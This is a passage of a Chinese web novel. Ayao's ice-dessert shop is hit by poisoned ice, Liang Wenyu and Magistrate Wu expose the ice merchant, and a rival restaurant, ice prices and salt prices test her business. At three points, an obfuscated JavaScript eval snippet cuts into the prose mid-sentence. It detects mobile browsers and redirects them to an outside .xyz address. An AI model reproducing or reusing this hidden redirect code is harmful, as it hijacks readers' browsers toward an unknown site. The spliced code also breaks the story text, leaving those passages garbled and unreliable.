她忍不住多买了些,挑了几颗颜色最黑的果子带回铺子。 现写价格出去挂,洗了就往盘中扔,连放五六颗后停止,加入牛乳开始搅拌,杨梅外形圆润,铲起来费劲。 需要先把它们弄到一旁一手压住,一手开铲,核被拨到一旁,做好出来后她又加了一颗杨梅进去点缀,吃的人多了,杨梅炒酸奶就渐渐打开了销路。 快结束一日营生时,来了位点名要阿瑶做沙冰的食客,她瞧对方面生,想着是哪位老客介绍过来的。 可谁知对方吃完后便口吐白沫倒在桌前,店内食客吓坏了,阿瑶让下堂的哥儿去叫大夫过来。 人来的快,当即放下药诊断起来:“面色发黑,嘴角带紫,这像是中毒!” 阿瑶三人几乎同时脱口而出:“中毒!” “您可否再仔细瞧瞧吃食。”阿瑶怀疑是他自己在冰中做了手脚。 就在大夫查验食客口鼻时,外头贴近铺子的木桌前又倒下一人,症状同前者相似。 声响惊起,一时间铺子内的人慌了神,纷纷站起身,双手捂住喉咙眼内有着濒死的恐慌。 阿瑶扫视人群,澄清道:“我与各位一样是店家已是食客,既然我吃无事,说明店内的东西无毒,那剩下的便只有..” “冰!”有位食客抢先一步说道。 “冰是早上现买的,由冰行人亲自动手操持,大家若不信可亲自去掌柜的哪儿问。”阿瑶不卑不亢说着。 其实大家伙儿还是相信阿瑶人品的,可又有一人倒下后,他们坚信阿瑶的意志有些动摇,因为被此事影响外头来吃冰的人都少了许多。 她想替自己澄清一番,可冰只能让大夫自己动手闻 到底是冰物,用闻更本无法了解是何种毒,大夫让阿瑶准备一盆热水,找一块冰浸泡,融化过程可闻出其中所含药性。 但药物气息淡,说明用量小不易察觉,大夫舀了碗水尝起,一口就猜出是何物。 他让阿瑶煮菜汤喂中毒之人喝下,至于其中有位面生食客阿瑶还等着他醒来时。 31. 分家后(八) 昏迷之人被灌入汤药有些转醒迹象,众人耐心等着他们睁眼,铺子里的食客少了许多,阿瑶歇下来坐等着。 人还未睁眼外头就站着几人瞧热闹,西市整条街都知晓阿瑶店中出了事,大夫叫去半晌还未离去。 片刻后,桌前似有声响,慢慢见人挺起腰杆,手撑脑袋皱眉询问起来。 阿瑶上前关怀几句,讲明了他们昏迷后所发生之事,她给了些钱财买安心补偿,至于外头看热闹的人得知来龙去脉渐渐散去。 梁文宇扶起人送出门:“慢走,若是家中还有不适可再来,今日对不住了。” 阿瑶算着卖出去的碗数,停了沙冰的用量,店里一下冷清下来。 “阿瑶,这冰要去找冰行评理,他们卖冰图的是钱,如此粗心让我们背上人命可不行。”许老大坐下来说着,他性子急忍不得这些事,直接去后厨挪冰桶,打算去冰行理论。 梁文宇见状过去帮忙:"叔,你我分工行事,我带着冰去趟府衙,若是冰行不肯认,吴知县一定不会放任此时不管。" “好。”许老大点头。 两人同时出门,走在路上许老大看身旁小伙多嘴问了句:“文宇哥儿同我家阿瑶是如何相识?” “说来有趣,当时我家道中落蹲在路上乞讨,手中连一文钱都拿不出,多亏阿瑶心善。”梁文宇面色淡定编造起来,“给了我地方住,还教我谋生。” 许老大会心一笑,可语调中带着几分惆怅:"我这姑娘,心地善良,别瞧她现在嘴里念叨着钱财,分文不让,其实怪我,家中一地琐事让她受尽委屈了。" “阿瑶能力过人,将来必定财源不断,如今的磨难不过是暂时。”梁文宇在后头帮忙推车,朝外探头。 许老大显然认同梁文宇说法,而后路上就未聊过,分道行事。 梁文宇顺着小巷翻入后宅门,熟门熟路摸到书房,他整理好衣衫推门而入:“舅父,子恒有事禀报。” “今日来所谓何事?”吴县令抬手喝茶,搁下茶杯道。 梁文宇抱拳弯腰禀报:“冰行以次充好,如今更是手段卑劣往冰中掺入毒物使食冰者口吐白沫昏厥不止。” 吴县令双目明亮,正气浩荡,丹凤眼中划过凌冽,一股威严之气流露而出:“好,真好,在我眼皮子底下行腌臜之事。” “侄儿资历尚浅,此事还需舅父出手解决,虽未有人因此事而亡,难免日后以此为生讹上。”梁文宇不卑不亢说道,“后头之人手段如此毒辣,想借人命赚横财。” “不错!”吴知县认可梁文宇所说之话,他捋上胡须,微摇头思索,“若是放任下去,总有一日要出事,看来冰行需敲打一番了!” 吴知县本来不想当面出手点一点冰行,想等着事闹大再出手,可现在顾忌民生,不得不出手解决。 夏季正是用冰时节,外头的百姓都是倒此处买冰,他要是放任不管,民生潦倒可不就枉费自己多年苦心经营。 他算不上什么大官,可受百姓爱戴,在汴京底下受用每年进宫朝拜是官家都点名嘉奖的清官。 吴知县当即派人知会廖师爷入府三人携手共商此事,派人去冰行查看一二。 冰行人多,官兵到时许老大和掌柜争论谁都不愿退步,脖子都吵红了还要对方给个说法出来。 掌柜站在柜台后头为自个辩解,许老大认定了对方故意给他家使绊子,心里边有气,见官爷过来才熄了火,等人问话。 官差持刀而来,拉开许老大到一旁:“怎么回事!” “您明见,我家冰饮今早从此处刚买了几块冰回去,结果吃坏了不少人。”许老大缓缓道来,“冰价高涨大伙心中明了,可做生意讲究坦荡,对方字字不离,却唯独不讲冰中有毒,是当我们百姓好拿捏。” 梁文宇站在人群后头看里面许老大同冰行掌柜讨要说法,但他又往前走,目光打量起冰行掌柜。 掌柜替自己辩解起来,想随意拉一人出来替自己定罪,打太极起来:“官爷评评理,我不过是个卖冰的,能有多大能耐害人,大家都是靠手艺吃饭,我着这冰行内无人会医,不过有个懂三分的伙计,昨日已辞行离去。” “会不会是阿瑶姑娘之前与人有仇,这才发生今日之事?”掌柜转移话题起来,一下子将脏水泼到阿瑶身上。 说道阿瑶,许老大明显有些着急,他说不过人家,可却要动起手来。 “掌柜的此处可从未有行医之人。”梁文宇挤出人去走到许老大身旁,拦下他将要出的拳,“您这我时常来,可没见过您说的那位伙计,是凭空捏造还是推卸责任,掌柜心中可要想清,楚。” “公子所言断定错出是次,可有想过你们也会出错?”掌柜反口咬定他们冰没问题,有问题的是阿瑶铺子。 梁文宇笑道:“等请郎中过来一瞧便知,您最好确保此处无错,就让官爷评理吧!” 梁文宇来时就自作主张请了郎中过来,一直叫对方候在外头等,此刻亲自过去请人进来,他则从冰桶拿出一块拳头大小的冰。 按照热水浸泡法把冰块中的药气挥发出来,郎中所说的话是当场再坐的各位都知晓的,官差不为所动,暗中等待指令。 真相呼之欲出,梁文宇挑眉望去,掌柜的张了张嘴还想替自己辩解什么,支吾半天都没说出什么。 “掌柜的如今是认还是不认?”梁文宇步步紧逼,等着掌柜自己承认。 可对方只是一个劲推脱,将责任甩出去,中途突然出现一个伙计主动承认顶罪。 官差得了话回去复命,临走前与梁文宇交换了眼神,他押着人去往衙门。 “八十文一块的冰都难保安全,往后冰价再涨是要送人归西了。”梁文宇煽动民心。 经由他怎么一说,外头的人都开始纷争起来,本来中毒一事都有些人心惶惶,再添油加醋说上一些危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574079|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言耸听的话,百姓是更加不愿购买,宁可热的不可开交也不愿拿自己性命儿戏。 更何况冰行对外新客的售价已经高到八十七文一块,连着常客们最低都收八十文一块。 “你这人饭可乱吃,话不能乱说。”掌柜气恼道,“我家冰是整个镇上最好的,冰质干净绝无杂质。” “听说隔壁镇的冰只六十文一块,说做冰的水是山间泉水,清甜的很!”人群中有人说话不知遮掩,脱口讲道。 掌柜原本就担忧着,听见此话更是不知该如何作答,只能任由人群当他面说起来。 显然他是有做的不好的地方,否则百姓怎么会如此怨声载道,他面露难色被这些闲言碎语压住了,突然说起来:“今日起凡是购冰块者皆可享受六十文一块。” 价格降下来后,外边还是会有许多闲言碎语,但明显比以往好上许多,反而购买冰块的人多了些。 阿瑶本来就与掌柜说过冰质不存,此事对他们造成的伤害还多了些,对方也对着梁文宇说了几去歉意的话,送了一块冰给他。 梁文宇拉着许老大回去,两桶冰全都换了新的,阿瑶通过郎中教她检验冰中是否还含有毒物的法子,她虽然赞叹冰行掌柜顶着压力降价,但对他还有所怀疑。 直到无毒后,阿瑶才开始用起来,适才在店内的食客相互澄清了此事。 新客醒来后,阿瑶暂且询问过他的身体情况,对方并非是她下意识认定的人,是位寻常食客。 因为发生中毒一事,导致对方人有些虚弱,阿瑶熬了完红枣茶给他喝,还叫梁文宇送他归家。 她随手抓了把银子出来数了数递到梁文宇手中让他路上买点吃食给这位食客,其余几位也受到了阿瑶的照顾。 之后她抱着钱匣子进了后厨蹲在南边角落数起来,她算过今日售卖出多少钱,掰起手指算好数量,本该减少的银子偏巧还多了几枚出来。 “阿爹,今日去说冰一事,掌柜可否有赔钱给咱们。”阿瑶发现钱不对劲。 多银钱之事已不是一日两日的了,上回阿瑶也发现多了一两,隔几日多三四两,她心中能不慌吗! 许老大回忆起来,坚定道:“未曾给过,莫非是我记错了。”难道他走神了? 看出许老大困惑神情,阿瑶又说了句:“我只是问问罢了,无事。” “好。”许老大忙着给黄鱼翻面,经他腌制的鱼没有腥味,肉质鲜嫩,带着外皮一起吃味道可酥脆了,叫人吃了还想吃。 阿瑶放好钱匣子,现在还非人最多的时辰,她一步步教着海氏做蜜沙冰,数量统共也就这么几个多做几次就记住了。 梁文宇来的时,阿瑶站在外头吹风,她抬眼间就直直撞进对方眼黝黑眸中,起初当自个看走了眼满脸不信他回来的如此之快,忍不住又多看了眼,确定是他后目光才平淡下来。 “我有事问你同我过来!”阿瑶对着他严肃道。 32. 分家后(九) 两人走向铺子边的小巷里,面对面站,落日斜射拉长身形。 阿瑶蠕动嘴角,反复斟酌道:“你可否有丢失物件,身上贵重之物可还在?” 梁文宇好似预料到她要说什么:“想问钱匣为何会多钱?”他语气带着一股戏虐,仿佛早看穿她心思。 “嗯!”阿瑶轻轻点头,声音困惑,“不能叫你白务工!” 他指腹抵住鼻尖,手掌下微张嘴角,笑意蔓延:“你还真当真了!” 阿瑶抿起嘴,眉眼透出疑惑,微歪脑袋想着,目光扫过梁文宇的脸,等看清对方眼中神情,忽而垂下:“是,我自认对你亏欠极多,可又觉得你活该,放心,答应让你走一事还作数。” 梁文宇放下手,叹息:“相识以来我认定你是个爱财如命之人,可直至今日才知你句句不离的财不过是想在这世间留存的意义。” “银子是大娘叫我给你。”梁文宇未等她回话,便解释起来,“每日去取果子的钱,大娘一笔笔都记着。”他声音认真,盯着阿瑶头上珠环。 阿瑶瞪着杏子般大小双眼,不停眨动,显得有些惊讶:“可我拿什么还…”自己吗? 梁文宇满嘴谎话编造起来,脸不红心不跳,习以为常:“你既不愿做她儿媳,已是无妨,她送你见礼,想认你做干儿!” 听见此话,阿瑶扯动嘴角,挤出一丝笑意:“莫打趣人!”她怎能当大娘的女儿。 虽然这话真假阿瑶未知,可即便是真她也不会同意,还是有些自知之明。 “你真不愿!”梁文宇见她放弃如此好机会,再次询问。 “此事莫再提!”显然阿瑶回避了这个话题,她打算回铺子。 可梁文宇伸手一把攥住了她,微抬眼,对上她闪烁的眼:“送上门的机会,为何放弃?” “不管是真懂还是假懂,就同昔日风光无限的你一样,终究会有落难一日,我若靠着她人而上,岂不白走一遭!”阿瑶至始至终都想靠自己拼搏。 梁文宇收起笑容,满脸认真:“阿瑶你错了,为商为官在世间只是空有虚名,能坐上高位之人他必有过人之处,可这其中也有你料想不到的困处,心有余而力不足!” 阿瑶背对他,闭上眼深吸口气:“我只盼家人平安,富足长乐。” 说完这些话,梁文宇的手松了,阿瑶刚好能趁机抽离,她赶回店时,屋中食客多了起来,对今日所发生之事并未忧心。 好几位都是常来的食客对阿瑶很是信任,加上冰行事早传开了,如今大伙都不去哪儿买冰。 隔壁镇到底还是远了些,阿瑶试了次去买冰,回程途中实在太耗费精力,以至于回到铺子时两人都有些筋疲力尽。 阿瑶趴在木桌上休息,闭上眼深深叹了口气,炒酸奶的冰还需去冰行购买,她托了人去买,外头食客慢慢等着冰来也都着急吃。 “哎呀,外头天气可真热,最近州桥卖冰之人怎越发少?”有位食客进屋用汗巾擦头,后背领子都湿了圈。 与他同坐的食客吃了口冰:“可不是,眼下都只能走上几步到铺子里吃。” 铺子里用冰比外头凉快许多,食客喜欢过来小坐一会儿,不吃冰也要喝碗甜水。 沙冰和炒酸奶是店内招牌,冰饮口感清口,降热压制暑气。 “大伯,外头冰饮摊是未开了么?”阿瑶直起身子,转过去询问。 被叫大伯的人是在州桥边务工的船员:“冰行价格低,可出过事,大伙儿都害怕,镇上其他的人都去旁边镇卖了。” “听说街上要新开一家冰行!” 海氏突然冒出声:“那可真是太好了,大伙都有冰饮吃。” “是啊!哪位老板肠子都该悔青了。”食客调侃起来。 这对于阿瑶来说是个好消息,新店开张必然价格不高,她就无需在跑到隔壁镇上买冰了。 连续好几日来回奔波,阿瑶和梁文宇两人累的慌,小腿肚都发颤。 稍作休息后,阿瑶开始准备食材起来,她最近几日连着去西市买到丹奈,主要实在难得尤其虽遇上几回,可果子并非新鲜,这些阿瑶都只瞧了几眼便放弃。 她当着食客面熬煮糖浆,往后都无需提前准备,铺子里都来得及,黑色汤汁中冒着各个大气泡,果子周边凝固的糖浆提起来还能拉出长丝。 阿瑶盛进陶碗,接着按照食客点炒酸奶开始做起来,黑色果酱加上牛乳慢慢变成紫黑块状,牛乳比较稀薄浓厚。 不过比起牛乳制作,她还是喜欢酥珞,质地浓稠,自带酸甜口感。 这是她最近去其他酒楼品尝过的雪山酥珞,还知道了能够购买之地,后期都准备去采购。 由于酥珞口感比较特别,制作炒酸奶会比牛乳要好很多,阿瑶正是看重这点,她才会在昨日提前采购好。 做完食客的炒酸奶后,赶紧清理铁盘,阿瑶拿出酥珞开始准备做一碗悬钩子炒酸奶,大颗果肉放进等待凝固就可食用。 她故意把炒酸奶厚度压薄,下铲卷起来,淡红色摸样有些像肉卷,酥珞正好能做两次。 不过酥珞对比牛乳价格而言要贵上些,阿瑶和牛乳一起混着用比单一牛乳要好。 后厨不同于其他地方,贴近大堂位,阿瑶打通了墙面能够及时观察外头食客,既然里面能看到,外头食客也能看阿瑶制作炒酸奶。 鉴于阿瑶制作炒酸奶时外头食客都知道她这是在试新品,目光自然就落到阿瑶身上,她端着陶碗出来请大伙品尝。 相较于品尝,阿瑶被其中一位人说出的话有些小小震惊,那人说阿瑶做的冰饮和花楼最新推出的口感一样,甚至对方比她出色。 听了这话最先忍不住发声的人是海氏,她攥着抹布过去:“你说说看他们做的吃食好在何处?” “咳咳,待我同你细讲。”那人时常晚间打烊时来,就爱占一些小便宜,“店内的吃食外边都有,手艺方面自然时阿瑶姑娘好,可最近花楼手艺也好起来了,尤其是蜜沙冰做的好看,关键是价格比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574080|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿还要便宜一半!” “有这等子好事!”原先吃过花楼的冰沙,多数还是阿瑶去拉过来的食客。 那人又道:“可不是,昨日我去吃上了一碗,哎呀,你猜怎么着,味道和这儿一模一样!价格还便宜,今日我还去,你们同我一起?” 人被拉走了多数,尝过炒酸奶后相继就从阿瑶店内离开,她没留人,与里头出门的梁文宇对上眼,目光交汇,她起身跟出去。 两人走在路上,头顶日光灼热,晒得发丝如烧起来般,一路边走边说。 走到花楼时,店家正在门口招呼来往客人,对阿瑶两人点头笑笑,转身对客人也是如此。 她佩服花楼店家来者不拒行为,甚至不在意他人是否窃取他对秘方,对过往食客相同对待。 梁文宇视线快速瞄了几眼,率先坐下点了起来,他让人把店内特色都上一遍。 花楼本身名气在外,菜色种类繁多可冰饮和沙冰方面自然比专做冰的铺子要弱上些,等蜜沙冰上桌,无论外观口感给人都是一种似成相识之意。 阿瑶吃了口点头,搁下长勺:“味道不错,价格也好。” 梁文宇看了眼,未说话,静静吃起蜜沙冰起来。少刻,放下手中物,说道:“如此贬低自己未免太看的其他人。” “我不过实话说。”阿瑶又挖了勺常,冰碴子底下藏着一颗果子,她尝了口是酸梅,底部融化的冰浸没梅子,让酸甜味满满扩散进去。 最后几口清水比冰本身都还要好吃,阿瑶被这种方式激发出个好点子,她想能否效仿花楼做法在冰块地板藏东西。 大堂里都是人,乌泱泱挤在一处,外头排队等候的人数量并不少,可见生意是真的好。 阿瑶睨了前头一眼,店小二手上出现最多皆是最为简单的蜜沙冰,其他款几乎未有过,相比阿瑶观察。 梁文宇将细腻洞悉放在店内通往二楼雅间处,镇子上冰价低,易有新店开张,他怀疑是同一人所为,哪位被称作“六爷”之人。 “你先看,有何想吃,我卖单!”梁文宇视线从门口进人开始便一直跟着,找了借口想去探一探。 阿瑶点头,她还没吃过花楼的菜,当即叫店小二过去,对方报出来的菜名是阿瑶从未没机会吃的。 花楼后厨人数多,上菜熟度块,分离还多。梁文宇归来时,阿瑶都只食用了一半,知道他性子,皆是用干净勺和筷挖了一些出来。 剩下许多她逐一打包带回家,回去路上遇两位哥儿下学堂回来,阿瑶把能路上吃的炙子骨头分给两个哥儿吃,这俩个大馋小子。 归家后许老大和海氏打算做菜,见阿瑶和梁文宇各自提了食篮回来,还有两个小的吃的满嘴油花。 “阿爹,阿娘,今日带你们吃顿好的。”她带回来的有些还没动过,一顿花了快两百多文。 六道菜里头有几个食材较贵,量足够六人吃,抛开别的不说阿瑶对花楼手艺是喜爱的,但要成商场对手,她时刻警惕着。 33. 分家后(十) 六道菜分别是:荔枝白腰、蟹酿橙、草绳东坡肉、白烧羊肉、四宝烧鲈鱼、炙子骨头。① “阿瑶,下次要吃什么尽管和阿爹说。”他与花楼老板有过节,只当阿瑶馋肉吃。 阿瑶夹起筷羊肉放入许老大碗中:“阿爹,知道您手艺好,我并非为吃这口而是去尝花楼冰饮。” 她又夹了块东坡肉给海氏:“阿娘最近忙坏了,人瘦了,多吃些肉,往后爹娘归沐一日可好?” 海氏捏好木筷,面色一顿:“铺子人多,你一人忙不过来,阿娘不累。” “别担心,归沐一日无妨,食客若想吃,我可跟阿爹学。”阿瑶怕了拍海氏,杏眼弯弯,眼神示意海氏尝尝东坡肉,“您和阿爹归沐就去城中逛逛,好好休息,外面有我。” 由于花楼最近几日生意火爆,铺内人员少了些,爱好炒酸奶的食客是无论如何都要过来吃上一碗,蜜沙冰对他们来说只是偶尔心血来潮,况且价格又让人如此心动。 相较于花楼人满为患,她的铺子变得有些冷清很多,一得空阿瑶打发许老大夫妻两人出去逛。 她和梁文宇则是站在门口,不知是谁先开的口,交谈起来。 “镇上新冰行想来也该开了,等有空过去瞧瞧?”阿瑶语气平稳,丝毫没有对新店开张的欣喜。 最近几日的天气是像要把人往火上炙烤一般,泼出去的水不过一盏茶功夫就被烤干。铺子内说是用冰较多,但降温方面还是需冰块来。 梁文宇随意得依在门框边,双手抱胸,神色散漫:“你是一点都不担心有人要将你赶出此处!” “他不就想看这幅模样,店中无人?”阿瑶往后转瞟了眼身后零星食客,“过几日花楼就恢复原样了,食客并非傻子。” “对自己很有信心。”梁文宇话语中带着调侃,余光扫了眼身旁,“算算时辰,你爹娘也该回来了。” “我叫他们两人多转转,耗在此处无事可做,想来不会很早回来。”阿瑶道。 后厨多准备的黄鱼她打算炸一炸当零嘴吃,又送些去学堂给两个哥儿吃,最近七日说是老师不让他们出门,想是有什么课要上。 她去时顺道瞧见旁边冰行开业,竹筒在火炉里燃的可响了,门口连放两,周边挤满人。 店小二敲起铜锣吆喝,阿瑶站的远可也能听清冰价,什么大的四十文,小的二十文。 这些人都是晓得冰价贵至八十文一块的时候,眼下跟疯了般屯冰,近来无处离不开用冰,晚间还好一些,可屋子闷热,放点冰凉快。 阿瑶对冰价能接受,她望见许老大夫妇站在人群里,从她身旁经过的人推着运载满车的冰块,水滴顺着木板流了一路。 新冰行离她家近,许老大夫妇推着冰出来时瞧见阿瑶还高兴叫了几句,两人像是捡到打便宜一般。 冰行伙计是个有眼力见的家伙,对镇上卖冰饮的商铺店家长什么模样心里有数得很,对阿瑶恭维道:“您这是想买那种冰,多买我可给您便宜,最低只要三十文一块。” “你能做主实在太好,要八块冰质最纯,越大越好,冰质略纯,就要六块吧,小些就行。”阿瑶说完跟着小二去后头取。 但阿瑶发现后面人中有些人脸似乎有些眼熟,好像原先的冰行中人,她看了几眼收回探究目光。 许老大图冰好放完一批冰又回来买,阿瑶候在外头想找人租车,正好碰上过来的许老大就直接装车回家。 她未把心中疑点告知许老大而是回到家中从每块冰上各自挖取了小块冰出来,照着前面l郎中交给的法子测试,未保安全。 “阿瑶,爹都检查过一遍。”许老大搬最后块进地窖,借着油灯微弱光圈,“出事那天阿爹去过冰行,今天的铺子里有几个脸熟的,我和你想法一致,觉着有问题。 “阿爹,估摸他们不敢再有第二次,打算另起炉灶,让大伙都以为是新店主,其实还是原来那位。”阿瑶弯腰数了数冰块,用木棍在边上支棱起来防止滑掉。 许老大拿起铲子往外边挖了些土,把冰块底部垒高:“咱们就只当换了人,多屯些冰,省去后头冰价昂贵。” “我瞧着外头好多人都是一个想法。”阿瑶等许老大弄好同出去。 临走前交代了让许老大和海氏今日都无需再去铺子帮忙,两人闲不住想着外头冰价便宜多跑了两趟买冰屯着。 多亏之前阿瑶有先见之明,特意挖了个地窖出来,反而方便后期屯满。 阿瑶到铺中是梁文宇自个做了碗蜜沙冰吃,他吃相一直都是相当斯文的,不紧不慢吃着,见阿瑶进来双眼缓慢扫了眼,低头吃冰。 后厨有些果酱不能再使用,存放麦子的地方都快被绿芽顶开面布了,长势很好,盖着布的地方外头已经冒出抹绿。 这次阿瑶扯起来相当费劲,芽根粘连太紧了,拔上好几次才勉强扣出个小圈来,又是清洗挑选好一阵忙活。 阿瑶手都有些无力,叫梁文宇过来帮忙,她则干些稍微轻松点的小活。 连着有好几日,冰雪铺中都没来几人吃冰,许老大和海氏每日都过来瞧一瞧,阿瑶定了给爹娘放几日小假,花楼故意给使绊子不就是想赶她走,可惜现在做起铺子就打算抢走她营生。 “打算放弃了?”梁文宇不知何时走来,在她身边坐下。 阿瑶写着账目明细:“价钱我算了下,十文钱购买的确不亏,要保证冰价同时还要在赚些银子那是微乎其微!” 梁文宇怕她猜不出:“或许冰行和花楼另有交易呢?” “交易?”阿瑶刚听有些不明白,片刻瞬间起身,“你是说他们相互合作,抬高冰价!” “倒是有可能。”梁文宇脸上闪过笑意。 阿瑶似乎想明白了,花楼和冰行应属一伙,为何价格上涨飞快?低价售卖还能维持住营生,蛇鼠一窝简直欺人太甚。 她拍起桌子又坐下:“此事吴县令可管得?” “官府出手未免不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588132|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是时候,况且对方并未有出格之举,若是能拿到对方把柄倒可搏一搏!”梁文宇话点醒阿瑶。 阿瑶脑中刹那间闪过个念头,她并非不可打价格战,是担心自己后头会损失严重,她手上压着房租银钱,亏本买卖不敢保证能赚回本,就怕随了他人愿。 话虽如此,可险中求生还是能有些把握,阿瑶当即写完了两个法子出来,她与梁文宇商讨此法可否能行,又将许老大和海氏叫来,四人同坐一堂。 海氏终究还是担心阿瑶因此而消沉下去,她持保留之意,对阿瑶这些说话都是以劝诫为主,她明白女子在外营生比男子要难一些。 可汴京之下,圣上是位明君推崇女子从商乃事好事,可周围总会有人暗中使绊子。 为了此事甭说圣上,那些以圣贤为主的官员更是鼎力相助,协助女子在外谋生,他们自幼坚信能力辈出者,不论男女定能大展鸿图。 许老大思想开明,对阿瑶从商一事历来鼓舞的,许是看的多晓得女子在外不易,又叹息阿瑶自幼长在这样一个家中。 他与海氏出门在外,顾及不上家中,使她幼年遭受饥饿与苦难,他处处维护阿瑶对她多有弥补可总会被许陈氏从中受益。 “阿瑶,你想做什么,阿爹定力支持。”许老大掏出口袋里攒着一张五十两银票。 钱是他买小吃得来的,阿瑶不愿收他就替她存着,等哪日能派上用场,今日总算用上了。 阿瑶低低看着,蓝色官印压在银票上,中间繁体写着的五十两是多么显眼:“阿爹,没事,这才几天,我们定能挺过去。” 她已经打定注意暂且消散抛出低价出售的法子,外头花楼留下的食客最近几日少上许多,冰雪铺里头食客又回来了。 “先前还以为花楼搞什么名堂,吃来吃去就只一款,还是阿瑶姑娘这好。”老食客还是喜欢阿瑶做的口味。 价格比花楼贵了几文,份量方面比对面酒楼也不差多少,吃过一两次也就想换换口味了。 阿瑶赌得就是对面款式少,蜜沙冰简单,冰碴子加上蜜豆和蜂蜜就是碗最简单的冰沙。 她笑着道:“原先还怕你们不回来吃冰,我连东西都没备齐。”故意说,等看食客反应。 “害!无妨。”食客多数都是些性子爽朗的男子,出门总爱带上夫人过来吃,“我们俩无非就是嘴馋,你这的冰酥珞是镇上味道最好的。” “多谢您夸奖!”阿瑶展露笑颜,露出两颗小虎牙。 只是花楼生意没一日就渐渐消磨下去,冰价新店开张后,价格也增长上去,从六十文直接跳到一两银。 好在前几日屯下不少冰来,地窖内少说还有个十几来块,连着价格上涨,没能及时屯冰的百姓叫苦连天。 一气之下就告到了官府,吴知县爱民如子受百姓爱戴的好官,他所言所行在坊间流传,但凡有人申冤他必定出手相助。 冰价由官府出面暂且压了下去,价格降到六十文一块。 34. 分家后(十一) 冰价是降下去了,可盐价升起来了。 阿瑶做炒酸奶需要用盐巴,非每日都用,有时见冰融的快才用上一些,平日里都不用。 头一碗时需撒上些来助炒酸奶凝固,唯有这样冻住的速度能快些,铁盘隔着麻布出现薄霜,她倒下酥珞与果酱,翻搅几次后加入几颗果子,压平切块。 许久没吃的食客第一口就发出感叹,直呼阿瑶这儿的好吃。 铺内陆续进了人来,都是连着好几日未来的食客,他们都想着阿瑶这口吃食,能吃炒酸奶的客人家中都有些小钱消遣。 而蜜冰沙方面她改了碗,全用清瓷碗来装,模样和注碗有几分相似,碗口宽而短,底部平整,是最适合装冰沙和炒酸奶的一款盏。 “您几位且慢慢吃,若有不满之处可同我细说。”阿瑶站在后厨门口。 “阿瑶姑娘,你这手艺我们要不喜,就是太不知好歹了。”其中有位年纪大些的人替大伙说起来。 铺中恢复了往常人数,许老大歇了段时间归来还有些不适应了,他站在锅炉前炸黄鱼,高兴的朝外头说道:“过几日我做些菜让你们尝尝,大伙可都要来。” “许老大,你打算开食馆了?”一听许老大要做菜,食客的眼中都亮了一亮,舔舔嘴。 许老大知道外头吃不上好东西,花楼自他走以后厨子手艺虽好可就差了点意思:“我想光卖冰可不行,总得让大伙也能吃上些好的。” “哎呀,这可真是太好了。”外头吃冰食客点点头。 阿瑶端零嘴上桌:“劳烦大伙儿帮忙多说几句,告知周边食客。” “放心,我们也等着吃许老大做的菜。” “好,我定尽快准备起来。”许老大手擦着腰间围裙,敦厚脸上挂起笑。 说干就干,许老大应下是速度飞快,隔天早上就同两人出门采购食材,三人分开买,西市多数蔬果都能买到,只是东市多些稀罕物。 阿瑶惦记着越王头和丹奈,她好几日没探望过吴大娘,跑去见见她。 只是可惜铺子关了门,她猜想对方许是有事,没来得及过来就原路返回。 州桥上离去的冰饮摊子都回来了,他们许久未见阿瑶,对她亲切。 丹奈果脯摊上有,阿瑶看着挑选了几个,这个回去需要洗干净用水泡一个会儿,泡久了就没味道不好吃了。 阿瑶去西市发现有杨梅,少少买了些回去做,许久没遇上杨梅了,有些食客专程过来要问她买杨梅炒酸奶吃。 由于阿瑶曾经写过时令果子非每日都有,一切要根据当日采购而定,她会每日在门外写上特推口味,方便食客。 冰价价格维持在六十文一块左右,盐价则要六百文一斤,别说阿瑶这样的生意人,普通百姓根本想都不敢想。 她抠出钱来买盐,只买半斤花去三百文,按少撒些来可以撑上一月,若在减少些许两月也够。 对阿瑶来说,冰和盐都是无法或缺的重要材料之一。 梁文宇两手撑着布,看纹路像是衣角撕下来的,他兜了盐回来,阿瑶赶忙找来碗,两人扯住衣角让盐顺同方向落入容器。 “你老实说,是不是抢了盐商?这盐怎么有些不同?”阿瑶的问题让梁文宇浑身一凝,接着他目光中透出一副对方得了大病的样子。 他不想回答阿瑶的话。 阿瑶意识到打趣话语对他有些冒犯,下意识解释起来:“我见你身上无多少银子,况且粗盐都需要六百文一斤,眼前这些只怕要八百文。” 她拿出的碗又深又大,关键是一次能装五两冰,等同于有半斤可盛,而梁文宇带回的盐质地比粗盐更加精细。 细盐多数都是富贵人家在吃的东西,而粗盐是平头百姓食用的居多,大部分人只会买一些回去,做吃食时会稍微放一些进去,味道清淡。 “路上遇到吴大娘,她拽我去铺子给的。”梁文宇很无奈,对方连个布兜都不给,直接撕了衣裳装盐。 